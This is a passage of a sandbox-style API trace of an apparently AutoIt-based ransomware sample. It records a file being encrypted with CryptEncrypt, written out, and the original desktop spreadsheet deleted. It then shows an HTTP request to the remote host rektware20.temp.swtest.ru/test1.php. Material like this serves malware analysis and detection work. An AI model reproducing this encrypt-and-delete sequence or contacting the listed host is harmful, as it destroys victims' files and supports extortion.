lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.816] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0074.816] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0074.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e050, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0074.816] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0074.816] CryptGetKeyParam (in: hKey=0x164c3f0, dwParam=0x7, pbData=0x1629420, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629420*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0074.816] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0074.816] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0074.816] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.817] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.817] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.817] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.817] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.817] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.817] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0074.817] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.817] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0074.817] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0074.817] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.817] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.817] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0074.817] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0074.817] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0074.817] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.817] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.817] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.817] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.817] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.818] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.818] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0074.819] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0074.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621888, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0074.820] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0074.820] CryptEncrypt (in: hKey=0x164c3f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x166c2, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x166d0) returned 1 [0074.820] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.820] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.820] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.820] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.820] CharLowerBuffW (in: lpsz="byte[91857]", cchLength=0xb | out: lpsz="byte[91857]") returned 0xb [0074.820] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.821] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.822] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.822] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0074.822] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0074.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621a50, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0074.822] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0074.823] CryptEncrypt (in: hKey=0x164c3f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x186d008*, pdwDataLen=0x130e618*=0x166c2, dwBufLen=0x166d0 | out: pbData=0x186d008*, pdwDataLen=0x130e618*=0x166d0) returned 1 [0074.823] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.823] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.823] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.824] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.824] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.824] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.824] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0074.824] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.824] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0074.824] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0074.824] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0074.824] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.824] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0074.824] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0074.824] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.824] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.824] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.830] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.830] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.831] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.831] WriteFile (in: hFile=0x3d8, lpBuffer=0x18836e0*, nNumberOfBytesToWrite=0x166d0, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x18836e0*, lpNumberOfBytesWritten=0x130f01c*=0x166d0, lpOverlapped=0x0) returned 1 [0074.833] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.834] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.834] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0074.834] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0074.834] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.834] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0074.834] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0074.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x16212a0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0074.834] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0074.834] CryptDestroyKey (hKey=0x164c3f0) returned 1 [0074.834] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0074.835] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0074.835] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0074.835] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0074.835] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0074.835] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0074.835] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0074.835] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0074.835] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0074.835] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0074.835] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0074.835] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0074.835] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0074.835] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0074.835] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.835] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0074.835] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.835] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0074.835] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.835] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.836] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.836] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0074.836] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0074.836] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.836] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.836] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0074.836] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0074.836] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0074.836] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.836] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0074.836] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e330, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0074.837] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0074.837] CryptReleaseContext (hProv=0x1631bb0, dwFlags=0x0) returned 1 [0074.837] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.837] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.837] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0074.837] FreeLibrary (hLibModule=0x74c60000) returned 1 [0074.837] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.837] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.837] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.837] CloseHandle (hObject=0x3d0) returned 1 [0074.840] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.840] CloseHandle (hObject=0x3d8) returned 1 [0074.845] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.847] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0074.847] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\7l2AGAVLfYRod.xlsx", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\7l2AGAVLfYRod.xlsx", lpFilePart=0x0) returned 0x30 [0074.847] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\7l2AGAVLfYRod.xlsx" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\7l2agavlfyrod.xlsx")) returned 0x20 [0074.848] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\7l2AGAVLfYRod.xlsx", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c7f0 [0074.848] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\7l2AGAVLfYRod.xlsx" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\7l2agavlfyrod.xlsx")) returned 1 [0074.858] FindNextFileW (in: hFindFile=0x164c7f0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0074.858] FindClose (in: hFindFile=0x164c7f0 | out: hFindFile=0x164c7f0) returned 1 [0074.858] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0074.858] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0074.858] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0074.858] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0074.859] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\a8vJTaJRC.avi", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d130 [0074.859] FindClose (in: hFindFile=0x164d130 | out: hFindFile=0x164d130) returned 1 [0074.859] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0074.859] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0074.859] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0074.859] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0074.859] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0074.859] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620d48, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620d48, lpdwBufferLength=0x130ef8c) returned 1 [0074.859] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0074.859] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0074.860] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0074.861] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0074.861] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0074.861] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0074.861] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629310, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629310*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0074.861] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629230, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629230*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0074.861] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0074.861] InternetCloseHandle (hInternet=0xcc0004) returned 1 